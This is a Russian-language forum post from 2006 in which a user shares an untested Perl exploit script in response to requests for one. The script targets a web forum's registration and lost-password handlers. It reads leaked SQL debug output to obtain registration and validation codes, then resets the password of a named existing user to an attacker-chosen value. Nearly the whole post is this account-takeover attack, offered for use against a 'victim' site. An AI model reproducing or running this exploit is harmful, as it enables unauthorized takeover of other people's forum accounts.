Показать сообщение отдельно

  #28  
Старый 08.11.2006, 05:47
KSURi
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
С нами: 10489346

Репутация: 963


По умолчанию

Цитата:
Вот если бы сплоит вышел на Perl было бы другое дело))
Цитата:
Выложите плиз на PERL этот сплоит!
На всяк пожарный выложу: (тока я его не тестил!!!)
Код:
#!perl -w

use strict;
use LWP::UserAgent;

my $target="http://127.0.0.1/board/index.php";    # victim
my $name="hax0r";                                 # existing user
my $pass="31337";                                 # password to set
my $proxy="";                                     # optional: http proxy

my($prefix,$suffix,$regid,$regcode);
my $ua=LWP::UserAgent->new();
$ua->proxy("http",$proxy) if($proxy);
my $response=$ua->get($target."?act=Reg&CODE=10");
if($response->is_success)
{
  if($response->content=~/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>(.+?)_reg_antispam<\/span> \(regid,regcode,ip_address,ctime\) VALUES\(\'(.{32}?)\',(.+?),/im)
  {
    $prefix=$1;
    $regid=$2;
    $regcode=$3;
  }
  else
  {
    $suffix="&debug=1";
    $response=$ua->get($target."?act=Reg&CODE=10".$suffix);
    if($response->is_success)
    {
      if($response->content=~/INSERT INTO (.+?)_reg_antispam \(regid,regcode,ip_address,ctime\) VALUES\(\'(.{32})\',(.+?),/im)
      {
        $prefix=$1;
        $regid=$2;
        $regcode=$3;
      }
      else { exit print "\nExploit failed!\n" }
    }
    else { exit print "\nExploit failed!\n" }
  }
}
else { exit print "\nExploit failed!\n" }
$target=$target.$suffix if($suffix);
$response=$ua->post($target,[act=>"Reg",
                             CODE=>11,
                             member_name=>$name,
                             regid=>$regid,
                             reg_code=>$regcode]);
if($response->is_success)
{
  if($response->content=~/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\) VALUES\(\'(.{32})\',(.{1,32}),/im)
  { changePass($regcode,$regid,$1,$2) }
  elsif($response->content=~/INSERT INTO '.$prefix.'_validating \(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\) VALUES\(\'(.{32})\',(.{1,32}),/im)
  { changePass($regcode,$regid,$1,$2) }
  else { exit print "\nExploit failed!\n" }
}
else { print "\nExploit failed!\n" }

sub changePass
{
  my($regcode,$regid,$vid,$userid)=@_;
  my $ua=LWP::UserAgent->new();
  $ua->proxy("http",$proxy) if($proxy);
  my $response=$ua->post($target,[act=>"Reg",
                                  CODE=>03,
                                  type=>"lostpass",
                                  uid=>$userid,
                                  aid=>$vid,
                                  regid=>$regid,
                                  reg_code=>$regcode,
                                  pass1=>$pass,
                                  pass2=>$pass]);
  if($response->is_success) { exit print "\nExploited!\n" }
  else { exit print "\nExploit failed!\n" }
}